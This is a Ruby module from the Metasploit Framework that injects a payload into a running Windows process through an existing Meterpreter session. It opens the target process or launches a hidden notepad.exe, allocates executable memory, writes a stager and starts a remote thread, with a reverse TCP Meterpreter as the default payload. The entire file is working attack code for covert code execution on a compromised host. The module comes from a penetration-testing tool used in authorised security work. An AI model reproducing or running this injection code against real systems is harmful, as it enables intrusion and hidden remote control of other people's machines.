##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'

class Metasploit3 < Msf::Exploit::Local
	Rank = ExcellentRanking

	def initialize(info={})
		super( update_info( info,
			'Name'          => 'Windows Manage Memory Payload Injection',
			'Description'   => %q{
					This module will inject a payload into memory of a process.  If a payload
				isn't selected, then it'll default to a reverse x86 TCP meterpreter.  If the PID
				datastore option isn't specified, then it'll inject into notepad.exe instead.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Carlos Perez <carlos_perez[at]darkoperator.com>',
					'sinn3r'
				],
			'Platform'      => [ 'win' ],
			'SessionTypes'  => [ 'meterpreter' ],
			'Targets'       => [ [ 'Windows', {} ] ],
			'DefaultTarget' => 0,
			'DisclosureDate'=> "Oct 12 2011"
		))

		register_options(
			[
				OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload.']),
				OptBool.new('NEWPROCESS', [false, 'New notepad.exe to inject to', false])
			], self.class)
	end

	# Run Method for when run command is issued
	def exploit
		@payload_name = datastore['PAYLOAD']
		@payload_arch = framework.payloads.create(@payload_name).arch

		# syinfo is only on meterpreter sessions
		print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?

		pid = get_pid
		if not pid
			print_error("Unable to get a proper PID")
			return
		end

		if @payload_arch.first =~ /64/ and client.platform =~ /x86/
			print_error("You are trying to inject to a x64 process from a x86 version of Meterpreter.")
			print_error("Migrate to an x64 process and try again.")
			return false
		else
			inject_into_pid(pid)
		end
	end

	# Figures out which PID to inject to
	def get_pid
		pid = datastore['PID']
		if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid)
			print_status("Launching notepad.exe...")
			pid = create_temp_proc
		end

		return pid
	end


	# Determines if a PID actually exists
	def has_pid?(pid)
		procs = []
		begin
			procs = client.sys.process.processes
		rescue Rex::Post::Meterpreter::RequestError
			print_error("Unable to enumerate processes")
			return false
		end

		pids = []

		procs.each do |p|
			found_pid = p['pid'] 
			return true if found_pid == pid
		end

		print_error("PID #{pid.to_s} does not actually exist.")

		return false
	end

	# Checks the Architeture of a Payload and PID are compatible
	# Returns true if they are false if they are not
	def arch_check(pid)
		# get the pid arch
		client.sys.process.processes.each do |p|
			# Check Payload Arch
			if pid == p["pid"]
				vprint_status("Process found checking Architecture")
				if @payload_arch.first == p['arch']
					vprint_good("Process is the same architecture as the payload")
					return true
				else
					print_error("The PID #{ p['arch']} and Payload #{@payload_arch.first} architectures are different.")
					return false
				end
			end
		end
	end

	# Creates a temp notepad.exe to inject payload in to given the payload
	# Returns process PID
	def create_temp_proc()
		windir = client.fs.file.expand_path("%windir%")
		# Select path of executable to run depending the architecture
		if @payload_arch.first== "x86" and client.platform =~ /x86/
			cmd = "#{windir}\\System32\\notepad.exe"
		elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
			cmd = "#{windir}\\System32\\notepad.exe"
		elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
			cmd = "#{windir}\\Sysnative\\notepad.exe"
		elsif @payload_arch.first == "x86" and client.platform =~ /x64/
			cmd = "#{windir}\\SysWOW64\\notepad.exe"
		end

		begin
			proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
		rescue Rex::Post::Meterpreter::RequestError
			return nil
		end

		return proc.pid
	end

	def inject_into_pid(pid)
		vprint_status("Performing Architecture Check")
		return if not arch_check(pid)

		begin
			print_status("Preparing '#{@payload_name}' for PID #{pid}")
			raw = payload.generate

			print_status("Opening process #{pid.to_s}")
			host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
			if not host_process
				print_error("Unable to open #{pid.to_s}")
				return
			end

			print_status("Allocating memory in procees #{pid}")
			mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

			# Ensure memory is set for execution
			host_process.memory.protect(mem)

			print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager")
			print_status("Writing the stager into memory...")
			host_process.memory.write(mem, raw)
			host_process.thread.create(mem, 0)
			print_good("Successfully injected payload in to process: #{pid}")

		rescue Rex::Post::Meterpreter::RequestError => e
			print_error("Unable to inject payload:")
			print_line(e.to_s)
		end
	end

end